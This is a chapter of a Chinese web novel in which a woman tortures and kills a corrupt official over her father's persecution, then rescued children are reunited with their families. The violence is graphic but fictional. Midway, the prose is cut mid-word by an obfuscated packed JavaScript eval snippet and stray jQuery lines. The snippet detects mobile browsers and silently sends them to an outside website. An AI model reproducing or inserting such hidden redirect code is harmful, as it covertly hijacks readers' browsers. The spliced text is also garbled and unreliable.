57. 千刀万剐

作品:《纯狱系哑女

    吴道坤屈辱之下怒气填胸,咬牙道:“你是何人?!”


    “你猜?”


    清悠而森冷的女声钻入他的耳朵眼儿。


    吴道坤思绪飞快地打转,似是想到了什么,胆怯心虚道:“难道……难道你是来杀人灭口的?”


    “吴侍郎,我不是来灭口的,我是来撬开你的嘴的。”


    吴道坤闻言心里不爽,而今哪里还有人唤他十一年前的官职?竟然还大言不惭地说撬开他的嘴,他可是刑部尚书!


    他小心翼翼地贴着刀刃扭过头,借着掉在地上的火褶子望去,只见一张清丽的脸上沾染满了鲜红的血迹,幽艳得如同从地狱里爬出来的女鬼。


    “怎么是你?!”他怵然一颤,大惊失色道,“你、你不是哑巴吗?!”


    季晚凝弯起嘴角,冲他微微一笑,灼灼火光在乌黑的双眸中跳跃舞动,落在吴道坤眼里却透着彻骨的冷意。


    “吴侍郎有所不知,我的哑症起于刑部大牢,解铃换需系铃人,因此还是吴侍郎你治好了我。”


    在季晚凝深刻的记忆中,他始终是那个刑部大牢中的刑部侍郎。


    “你到底想干什么!”吴道坤挣扎了一下,“在我的火药下不可能还有人生还,贺兰珩现在一定已经死了,你没了靠山还敢如此嚣张!”


    季晚凝握刀的手攥紧,将刀刃横在他突突跳动的颈脉上,定下心神道:“我问,你答。”


    吴道坤垂眼就见刀尖近在咫尺,一股寒栗从后心窜上来,不敢再乱动。


    “炼丹坊里的少年孩童是不是你派人掳来的?”季晚凝问道。


    “不、不是我,是康诫干的。”他嘴唇抖了抖,喉头滑动,谨小慎微地咽了口吐沫。


    季晚凝蹙眉:“死到临头,你还敢狡辩?”


    “真的不是我!康诫是花鸟使,负责从全国各地采择秀女娈童献给圣人,后来圣人胃口越来越大,很多良家不愿意把孩子送进宫,康诫寻不到人,便直接抢。


    “我跟他只不过是各取所需,进宫之前他先把人送到炼丹坊,交给张思释挑选出适合炼药的好种子留下来,一些容貌不佳难以管教的用来试药,余下的再送进宫里。”


    听罢季晚凝感到一阵恶寒,这些权贵把人当作物件一样随意摆弄虐待,残忍至极。吴道坤、张思释、康诫以及天子,这四人形成了一个闭环的作恶链,没一个好东西。


    吴道坤却越说越义正辞严:“对,我们都是为圣人炼药而已,地下那些人做出的贡献很大,死也可以瞑目了,你和贺兰珩胆敢违抗皇命,谋害朝廷命官!”


    “闭嘴,你们简直禽兽不如!”季晚凝将障刀一推,压进他皮肉里。


    “你放我一马,那些少年孩童我也不要了,剩下的驻颜丹全都给你,如何?”吴道坤先把语气放软,又威胁道,“不然叫圣人知道了,你也别想活。”


    季晚凝对他的恐吓不做理睬,继而问道:“那驻颜丹又是怎么回事?”


    一说起这个,吴道坤神采焕发:“驻颜丹是我让张思释炼的,这可是我们多年来研究的心血,卖给贵人一颗就三千贯呢,你看我已年逾五十,相貌像不像三十来岁?”


    “我看你像畜生。”季晚凝冷冷道。


    她突然一把拔掉了他屁股上的弩箭,霎时鲜血喷注而出,痛得吴道坤龇牙咧嘴。


    季晚凝把他翻过身来,将障刀抵在他胸口:“你说一句假话我就割你一刀,直到死为止,只要你从实招来还有活命的机会。”


    吴道坤脸色惨白如纸,连连伸冤:“我刚刚说的没有半句假话!”


    “现在该清算旧账了。”


    “什么旧账?”吴道坤一怔。


    “十一年前,你可是与罗逊、宋熙勾结,对我阿耶严刑逼供,以致他屈打成招?”季晚凝审问道。


    “我跟宋熙素来不睦,何来的联手?我们不过都是为圣人办事而已……”


    话音未落,季晚凝毫不犹豫地将刀尖刺进吴道坤的胸口,一寸寸划下来。


    吴道坤嚎呼一声,遍体生寒,冷汗顺着鬓角滑进衣领里。


    “你、你这是这是屈打成招!事已至此,我没必要骗你,当年我虽用了些刑讯手段,但宋熙搜来的证据确凿,陈澍他就算舌灿莲花也无从辩驳,我没费太多力他就招了。


    “你只是被蒙蔽了而已,接受不了自己的父亲是个大奸大恶的伪君子!”


    季晚凝眼角倏尔爬上了几缕血丝,道:“你胡说!我阿耶是秉公任直、赤胆忠心的御史大夫,不可能做这种事。”


    吴道坤语气笃定:“千真万确,他亲口承认的罪行,绝非我污蔑!”


    季晚凝不语,眼神冰冷,手持障刀在他的伤口上一拧,生生剜下一块肉来。


    吴道坤强忍着割肉之痛,豆大的汗水从额角滚下来,讨饶道:“我给你钱,你要多少我都给你,保你以后荣华富贵,来生都用不完……”


    “若你没说谎,”季晚凝质问,“又为何把我全家押到刑部大牢用刑审问?”


    “因为密信,据陈澍府中的亲信馆客交待,陈澍写了一封密信要给人通风报信,我怀疑他还有同党没落网,可他无论如何都不肯开口。”吴道坤道。


    季晚凝蹙眉:“这么说,你也不知密信是给谁的?”


    “不知……但他一定就是谶书主谋,当年没除掉此人,果然又开始兴风作浪……”吴道坤咬牙道。


    季晚凝打断他:“那你又为何对阿娘赶尽杀绝,我和阿兄阿姐也不过是半大孩童,能知道什么,你下手如此残忍!”


    吴道坤冷嗤:“呵,我若想杀你们就不会让你们活着出刑部大牢。”


    季晚凝眸光一颤,喃喃自语:“难道是宋熙?”


    吴道坤艰难地喘着气:“冤有头债有主,你要找的人应当是他,他才是罪魁祸首……”


    季晚凝抬眼,平静的语气里透着杀机:“别急,下一个就是他。”


    吴道坤见她软硬不吃,狠狠道:“你果真是奸臣之女,如此是非不分,心狠手辣,我虽与宋熙不对付,但陈澍欺君纵敌,罪大恶极,死有余辜!”


    “你骗人!”


    季晚凝双手举起刀,对准吴道坤怒目圆睁的左眼插了进去。


    “啊!!!”


    吴道坤光滑饱满的脸瞬间扭曲起来,凄厉的惨叫声充斥了整个地道。


    “当年你把钉子钉进阿耶左眼里,现在也叫你尝尝这滋味。”


    季晚凝居高临下地看着他,神色带着一股悲凉,新的血溅在脸上,顺着光洁的额角流下来。


    她瘫坐在原地,所有力气都随着最后那一刀倾泻殆尽,耳边只有自己浊乱的喘息声和吴道坤断断续续的呻吟声,在空洞的地道里回响。


    她的心绪久久不能平静,没有预想中复仇后的快意,而是跌进了一片更深的迷惘。


    怎么可能,父亲怎么可能招供?她隐忍十一年,步步为营,只为找到真相为家人洗清污名,可吴道坤的话却让她所有的坚持瞬间崩塌,这一切与她所想全然背道而驰。


    地上的火褶子在风中摇曳不停,石壁上映出一道拉长的玄色影子,以长剑支地,蹒跚地一步步移近。


    贺兰珩停下脚步,目光落在吴道坤左眼里的障刀上,这一刻才明白她当初用同样的手法杀死袁大,其用意是以眼还眼。


    他走上前,擦过季晚凝失魂落魄的背影,俯身拎起奄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190950|196639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    奄一息的吴道坤,步伐略显滞重地走向火场,扬手一掷,将他的残躯扔进了熊熊大火之中。


    转过身,刚走了两步,喉间猝然喷出一大口鲜血,支撑身体的长剑随他一起倒在了地上。


    季晚凝从混沌中陡然回神,站起身朝他飞快跑了过去,火光照在他血肉模糊的身躯上,动心骇目。


    “贺兰珩,你快醒醒,快站起来啊!”


    季晚凝伏在他身上,不停地摇晃,伸手探了探他的鼻息,已气若游丝,她回头冲着洞口大喊,“来人啊——”


    ……


    几日后的大理寺里围满了人。


    “都先别急,一个一个来,按长幼排队。”卫庚坐在堂中维护秩序,“老人家,你是第一个,你家孩子叫什么名字?”


    “叫阿桃。”一个老妪答道。


    不多时,阿桃就从厢房里被领到了正殿,见到老妪后热泪盈眶,上前抱住了她瘦弱的身子:“阿婆!”


    “让我看看你,怎么这么瘦了?”老妪摸着她的脸,滚下两行热泪。


    阿桃为她抹去眼泪,道:“我没事,只不过辟谷了几日,死不了人的。”


    “他们欺负你了没?”


    “他们要是敢欺负我,我就打回去!”


    祖孙二人在这边因团圆而有着说不完的话,卫庚继续为前来领孩子回家的长辈们核对名册,一一把人从暂时收留被囚孩童少年的厢房里带到前衙来。


    那几名供血人也已请医师前来包扎上药,保下了他们的性命。


    百姓依次领到了自家孩子,大理寺用从炼丹坊里搜出来的钱财分发给他们权作抚慰。


    与家人团聚的孩子们面带倦意,眼中闪着劫后余生的光芒,低语声、啜泣声、庆幸的呼气声交织在一起。


    百姓带来了鸡蛋粮食,装在竹篮里送给卫庚。


    “感谢卫少卿!大理寺真是做了件大好事!”


    自杨司浦死后,卫庚就升任了大理少卿。


    “贺兰大理真是个称职的良官!京兆尹和刑部尚书,还有从前那个罗逊都不是好东西!死有余辜!”


    “对了,贺兰大理怎么没来?”


    “听说他因为这次拘捕受了重伤,也不知人怎么样了,老天保佑平安无事!”


    这时阿桃想起与自己同房的那个少女,心生疑窦,走上前问卫庚道:“卫少卿,我在地牢里时有一个哑女与我同屋,我怎么没见着她?”


    一旁的鱼墨道:“她是咱们贺兰大理的婢女,这次行动就是她以己为饵,深入虎穴,协助大理寺完成了营救和追捕。”


    阿桃心想,怪不得她举止奇怪却又气定神闲,她走了之后马上就有不良人来给她开门了,原来是她救了所有人。


    “那她叫什么名字?”阿桃问道。


    贺兰珩不让鱼墨透露,鱼墨便想着敷衍过去。


    卫庚对上少女真诚而殷切的目光,脱口而出:“季晚凝?”说罢又拍了两下自己的嘴巴。


    阿桃拨开人群,站在中央朗声道:“诸位,这回不仅是贺兰大理救了我们,还有他的婢女季晚凝。我同她被关在一间屋子里,若不是季娘子智勇双全,与贺兰大理里应外合一举歼灭了狗贼,我们现在还在暗无天日的地牢里,供血人的血也早已流尽了!”


    她的话在人群中掀起了波澜,众人哗然,议论纷纷。


    “不想这一个婢女竟有这般胆识!”一个老翁抚须道。


    一旁的大娘也道:“了不得,这个季小娘子为民除害,做了件大好事啊!”


    不出几日,坊间邻里、酒肆茶馆里将炼丹案添了一抹传奇色彩,迅速传了开去,季晚凝和贺兰珩成了长安中津津乐道的佳话。